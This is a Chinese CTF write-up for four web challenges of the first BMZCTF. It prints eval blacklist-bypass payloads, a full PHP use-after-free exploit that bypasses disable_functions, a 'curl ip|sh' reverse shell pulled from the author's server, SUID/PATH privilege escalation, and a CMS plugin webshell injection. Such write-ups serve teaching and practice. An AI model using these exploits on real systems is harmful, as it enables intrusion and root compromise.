第一届BMZCTF公开赛-WEB-Writeup

文章目录

  • ezeval
  • ezphp
  • penetration
  • BMZ_Market


前言

首先恭喜白帽子社区团队成功举办第一届BMZCTF公开赛,我是本次比赛MISC赛题Snake、Tiga的出题人末初
以下是我对于的这次BMZCTF公开赛的WEB赛题的一些Writeup,如果有什么写的不对的还请师傅们留言斧正

ezeval

 
highlight_file(__FILE__);
$cmd=$_POST['cmd'];
$cmd=htmlspecialchars($cmd);
$black_list=array('php','echo','`','preg','server','chr','decode','html','md5','post','get','file','session','ascii','eval','replace','assert','exec','cookie','$','include','var','print','scan','decode','system','func','ini_','passthru','pcntl','open','link','log','current','local','source','require','contents');
$cmd = str_ireplace($black_list,"BMZCTF",$cmd);
eval($cmd);
?> 

这里代码执行绕过方法很多

字符串拼接绕过

cmd=(s.y.s.t.e.m)('cat /flag');

第一届BMZCTF公开赛-WEB-Writeup_第1张图片

进制编码绕过

cmd=hex2bin('73797374656d')('cat /flag');

第一届BMZCTF公开赛-WEB-Writeup_第2张图片

异或绕过

import string

char = string.printable
cmd = 'system'
tmp1,tmp2 = '',''
for res in cmd:
    for i in char:
        for j in char:
            if(ord(i)^ord(j) == ord(res)):
                tmp1 += i
                tmp2 += j
                break
        else:
            continue
        break
print(tmp1,tmp2)
cmd=('0000000'^'CICDU]')('cat /flag');

第一届BMZCTF公开赛-WEB-Writeup_第3张图片
还有很多别的方法可以绕过,就不一一赘述了

ezphp

 <?php 
highlight_file(__FILE__);
$cmd=$_POST['a'];
if(strlen($cmd) > 25){
     
    die();
}else{
     
    eval($cmd);
} 

phpinfo()查看下
第一届BMZCTF公开赛-WEB-Writeup_第4张图片
disable_functions发现大量禁用函数
第一届BMZCTF公开赛-WEB-Writeup_第5张图片

pcntl_alarm
pcntl_fork
pcntl_waitpid
pcntl_wait
pcntl_wifexited
pcntl_wifstopped
pcntl_wifsignaled
pcntl_wifcontinued
pcntl_wexitstatus
pcntl_wtermsig
pcntl_wstopsig
pcntl_signal
pcntl_signal_get_handler
pcntl_signal_dispatch
pcntl_get_last_error
pcntl_strerror
pcntl_sigprocmask
pcntl_sigwaitinfo
pcntl_sigtimedwait
pcntl_exec
pcntl_getpriority
pcntl_setpriority
pcntl_async_signals
system
exec
shell_exec
popen
proc_open
passthru
symlink
link
syslog
imap_open
ld
dl
mail
gc_collect_cycles
getenv
unserialize
putenv
serialize
Imagick��

putenv被过滤了,那LD_PRELOAD & putenv()bypass disable function的方法肯定不行了

先绕过strlen()限制,上线蚁剑

a=eval($_POST[mochu7]);&mochu7=phpinfo();

第一届BMZCTF公开赛-WEB-Writeup_第6张图片
第一届BMZCTF公开赛-WEB-Writeup_第7张图片
第一届BMZCTF公开赛-WEB-Writeup_第8张图片
第一届BMZCTF公开赛-WEB-Writeup_第9张图片
蚁剑的Bypass disable function插件无法支持利用
第一届BMZCTF公开赛-WEB-Writeup_第10张图片
然后在先知找到一篇UAF bypass PHP disabled functions的文章的exp可以利用

原文地址:https://xz.aliyun.com/t/8355#toc-3
exp.php

<?php
error_reporting(0);
$a = str_repeat("T", 120 * 1024 * 1024);
function i2s(&$a, $p, $i, $x = 8) {
     
    for($j = 0;$j < $x;$j++) {
     
        $a[$p + $j] = chr($i & 0xff);
        $i >>= 8;
    }
}

function s2i($s) {
     
    $result = 0;
    for ($x = 0;$x < strlen($s);$x++) {
     
        $result <<= 8;
        $result |= ord($s[$x]);
    }
    return $result;
}

function leak(&$a, $address) {
     
    global $s;
    i2s($a, 0x00, $address - 0x10);
    return strlen($s -> current());
}

function getPHPChunk($maps) {
     
    $pattern = '/([0-9a-f]+\-[0-9a-f]+) rw\-p 00000000 00:00 0 /';
    preg_match_all($pattern, $maps, $match);
    foreach ($match[1] as $value) {
     
        list($start, $end) = explode("-", $value);
        if (($length = s2i(hex2bin($end)) - s2i(hex2bin($start))) >= 0x200000 && $length <= 0x300000) {
     
            $address = array(s2i(hex2bin($start)), s2i(hex2bin($end)), $length);
            echo "[+]PHP Chunk: " . $start . " - " . $end . ", length: 0x" . dechex($length) . "\n";
            return $address;
        }
    }
}

function bomb1(&$a) {
     
    if (leak($a, s2i($_GET["test1"])) === 0x5454545454545454) {
     
        return (s2i($_GET["test1"]) & 0x7ffff0000000);
    }else {
     
        die("[!]Where is here");
    }
}

function bomb2(&$a) {
     
    $start = s2i($_GET["test2"]);
    return getElement($a, array($start, $start + 0x200000, 0x200000));
    die("[!]Not Found");
}

function getElement(&$a, $address) {
     
    for ($x = 0;$x < ($address[2] / 0x1000 - 2);$x++) {
     
        $addr = 0x108 + $address[0] + 0x1000 * $x + 0x1000;
        for ($y = 0;$y < 5;$y++) {
     
            if (leak($a, $addr + $y * 0x08) === 0x1234567812345678 && ((leak($a, $addr + $y * 0x08 - 0x08) & 0xffffffff) === 0x01)){
     
                echo "[+]SplDoublyLinkedList Element: " . dechex($addr + $y * 0x08 - 0x18) . "\n";
                return $addr + $y * 0x08 - 0x18;
            }
        }
    }
}

function getClosureChunk(&$a, $address) {
     
    do {
     
        $address = leak($a, $address);
    }while(leak($a, $address) !== 0x00);
    echo "[+]Closure Chunk: " . dechex($address) . "\n";
    return $address;
}

function getSystem(&$a, $address) {
     
    $start = $address & 0xffffffffffff0000;
    $lowestAddr = ($address & 0x0000fffffff00000) - 0x0000000001000000;
    for($i = 0; $i < 0x1000 * 0x80; $i++) {
     
        $addr = $start - $i * 0x20;
        if ($addr < $lowestAddr) {
     
            break;
        }
        $nameAddr = leak($a, $addr);
        if ($nameAddr > $address || $nameAddr < $lowestAddr) {
     
            continue;
        }
        $name = dechex(leak($a, $nameAddr));
        $name = str_pad($name, 16, "0", STR_PAD_LEFT);
        $name = strrev(hex2bin($name));
        $name = explode("\x00", $name)[0];
        if($name === "system") {
     
            return leak($a, $addr + 0x08);
        }
    }
}

class Trigger {
     
    function __destruct() {
     
        global $s;
        unset($s[0]);
        $a = str_shuffle(str_repeat("T", 0xf));
        i2s($a, 0x00, 0x1234567812345678);
        i2s($a, 0x08, 0x04, 7);
        $s -> current();
        $s -> next();
        if ($s -> current() !== 0x1234567812345678) {
     
             die("[!]UAF Failed");
        }
        $maps = file_get_contents("/proc/self/maps");
        if (!$maps) {
     
            cantRead($a);
        }else {
     
            canRead($maps, $a);
        }
        echo "[+]Done";
    }
}

function bypass($elementAddress, &$a) {
     
    global $s;
    if (!$closureChunkAddress = getClosureChunk($a, $elementAddress)) {
     
        die("[!]Get Closure Chunk Address Failed");
    }
    $closure_object = leak($a, $closureChunkAddress + 0x18);
    echo "[+]Closure Object: " . dechex($closure_object) . "\n";
    $closure_handlers = leak($a, $closure_object + 0x18);
    echo "[+]Closure Handler: " . dechex($closure_handlers) . "\n";
    if(!($system_address = getSystem($a, $closure_handlers))) {
     
        die("[!]Couldn't determine system address");
    }
    echo "[+]Find system's handler: " . dechex($system_address) . "\n";
    i2s($a, 0x08, 0x506, 7);
    for ($i = 0;$i < (0x130 / 0x08);$i++) {
     
        $data = leak($a, $closure_object + 0x08 * $i);
        i2s($a, 0x00, $closure_object + 0x30);
        i2s($s -> current(), 0x08 * $i + 0x100, $data);
    }
    i2s($a, 0x00, $closure_object + 0x30);
    i2s($s -> current(), 0x20, $system_address);
    i2s($a, 0x00, $closure_object);
    i2s($a, 0x08, 0x108, 7);
    echo "[+]Executing command: \n";
    ($s -> current())("php -v");
}

function canRead($maps, &$a) {
     
    global $s;
    if (!$chunkAddress = getPHPChunk($maps)) {
     
        die("[!]Get PHP Chunk Address Failed");
    }
    i2s($a, 0x08, 0x06, 7);
    if (!$elementAddress = getElement($a, $chunkAddress)) {
     
        die("[!]Get SplDoublyLinkedList Element Address Failed");
    }
    bypass($elementAddress, $a);
}

function cantRead(&$a) {
     
    global $s;
    i2s($a, 0x08, 0x06, 7);
    if (!isset($_GET["test1"]) && !isset($_GET["test2"])) {
     
        die("[!]Please try to get address of PHP Chunk");
    }
    if (isset($_GET["test1"])) {
     
        die(dechex(bomb1($a)));
    }
    if (isset($_GET["test2"])) {
     
        $elementAddress = bomb2($a);
    }
    if (!$elementAddress) {
     
        die("[!]Get SplDoublyLinkedList Element Address Failed");
    }
    bypass($elementAddress, $a);
}

$s = new SplDoublyLinkedList();
$s -> push(new Trigger());
$s -> push("Twings");
$s -> push(function($x){
     });
for ($x = 0;$x < 0x100;$x++) {
     
    $s -> push(0x1234567812345678);
}
$s -> rewind();
unset($s[0]);

/tmp目录有写入权限,可以上传文件
第一届BMZCTF公开赛-WEB-Writeup_第11张图片
exp.php上传到/tmp然后include('/tmp/exp.php')即可执行命令

可以看到已经执行了php -v
第一届BMZCTF公开赛-WEB-Writeup_第12张图片
执行/readflag
第一届BMZCTF公开赛-WEB-Writeup_第13张图片

penetration

 
highlight_file(__FILE__);
if(isset($_GET['ip'])){
     
    $ip = $_GET['ip'];
    $_=array('b','d','e','-','q','f','g','i','p','j','+','k','m','n','\<','\>','o','w','x','\~','\:','\^','\@','\&','\'','\%','\"','\*','\(','\)','\!','\=','\.','\[','\]','\}','\{','\_');
    $blacklist = array_merge($_);
    foreach ($blacklist as $blacklisted) {
     
        if (strlen($ip) <= 18){
     
            if (preg_match ('/' . $blacklisted . '/im', $ip)) {
     
                die('nonono');
            }else{
     
            exec($ip);
            }
            
        }
        else{
     
        die("long");
        }
    }
    
}
?> 

过滤了一些字符,exec无回显,考虑反弹shell
限制了长度,所以直接输入反弹shell的payload行不通
可以将反弹shell的payload写在云服务器上,然后通过curl ip|sh来反弹
这里ip过滤了点,可以转换为十进制来弹
第一届BMZCTF公开赛-WEB-Writeup_第14张图片
传入?ip=curl ip的十进制|sh 自己的服务器监听7777端口即可得到shell

第一届BMZCTF公开赛-WEB-Writeup_第15张图片
得到shell后发现根目录下没有flag,猜测在root目录下,需要进行提权

使用suid进行提权
查看具有suid的命令

find / -perm -u=s -type f 2>/dev/null

第一届BMZCTF公开赛-WEB-Writeup_第16张图片
发现一个奇怪的命令,执行一下

第一届BMZCTF公开赛-WEB-Writeup_第17张图片
发现该命令使用了ps命令,并且未使用绝对路径,所以可以尝试更改$PATH来执行该文件
环境变量提权

cd /tmp

echo "/bin/bash" > ps

chmod 777 ps

echo $PATH 

export PATH=/tmp:$PATH #将/tmp添加到环境变量中

love

第一届BMZCTF公开赛-WEB-Writeup_第18张图片

BMZ_Market


查看源代码
第一届BMZCTF公开赛-WEB-Writeup_第19张图片
尝试伪协议读取源码

/?lang=php://filter/read=convert.base64-encode/resource=index

第一届BMZCTF公开赛-WEB-Writeup_第20张图片


$password ="Nevergiveup135." ;//I have to remember it

if (isset($_GET['lang']))
{
     
include($_GET['lang'].".php");
}

?>



<!DOCTYPE html>
<html lang="en"><head>
<meta http-equiv="content-type" content="text/html; charset=UTF-8">
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
    <meta name="description" content="BMZ Market">
    <meta name="author" content="bmz">

    <title>BMZ Market</title>


    <link href="bootstrap.css" rel="stylesheet">

    
    <link href="covers.css" rel="stylesheet">
  </head>

  <body class="text-center">

    <div class="cover-container d-flex w-100 h-100 p-3 mx-auto flex-column">
      <header class="masthead mb-auto">
        <div class="inner">
          <h3 class="masthead-brand">BMZ Market</h3>
          <nav class="nav nav-masthead justify-content-center">
            <a class="nav-link active" href="#">Home</a>
            <!-- <a class="nav-link active" href="?lang=fr">Fr/a> -->
          </nav>
        </div>
      </header>

      <main role="main" class="inner cover">
        <h1 class="cover-heading">Coming soon</h1>
        <p class="lead">
          
            if (isset($_GET['lang']))
          {
     
          echo $message;
          }
          else
          {
     
            ?>

            Believe in yourself, you can find the flag
            
          }
?>
        </p>
        <p class="lead">
          <a href="#" class="btn btn-lg btn-secondary">more</a>
        </p>
      </main>

      <footer class="mastfoot mt-auto">
        <div class="inner">
          <p>Power by<a href="#">@kuaile</a></p>
        </div>
      </footer>
    </div>

</body></html>

得到一个密码:Nevergiveup135.
可能是后台账号密码

接着信息收集发现robots.txt

第一届BMZCTF公开赛-WEB-Writeup_第21张图片
base64解码得到AAencode编码

aaencode解码:http://www.atoolbox.net/Tool.php?Id=703

第一届BMZCTF公开赛-WEB-Writeup_第22张图片

alert("Challenger, the background of the website is -.../--/--../.-/-../--/../-.");

摩斯解码:http://www.zhongguosou.com/zonghe/moErSiCodeConverter.aspx

BMZADMIN

尝试访问bmzadmin.php
第一届BMZCTF公开赛-WEB-Writeup_第23张图片
用户名填网站首页的:kuaile
密码填源码中发现的:Nevergiveup135.

登入后台
第一届BMZCTF公开赛-WEB-Writeup_第24张图片

查看源码,在title中发现网站版本第一届BMZCTF公开赛-WEB-Writeup_第25张图片
不是什么最新的版本,直接搜索引擎找相关漏洞
第一届BMZCTF公开赛-WEB-Writeup_第26张图片
直接参考:https://www.cnblogs.com/jinqi520/p/11274699.html

利用Weapp.php文件中的create()方法接收了请求中的参数,过滤后直接存入php配置文件中,但是由于过滤不严,导致可以直接写入代码进去并执行。

首先点击功能开关然后点击开启插件应用
第一届BMZCTF公开赛-WEB-Writeup_第27张图片
然后点击插件应用,点击插件开发者

第一届BMZCTF公开赛-WEB-Writeup_第28张图片
创建插件,填写相关数据,抓包
第一届BMZCTF公开赛-WEB-Writeup_第29张图片
控制scene参数写入shell

&scene=bbb\',${eval($_POST[mochu7])},//

第一届BMZCTF公开赛-WEB-Writeup_第30张图片
bmzadmin.php成功写入shell
第一届BMZCTF公开赛-WEB-Writeup_第31张图片
上蚁剑,sudo -l发现当前用户可以root身份执行所有操作
第一届BMZCTF公开赛-WEB-Writeup_第32张图片
第一届BMZCTF公开赛-WEB-Writeup_第33张图片

你可能感兴趣的:(CTF_WEB_Writeup)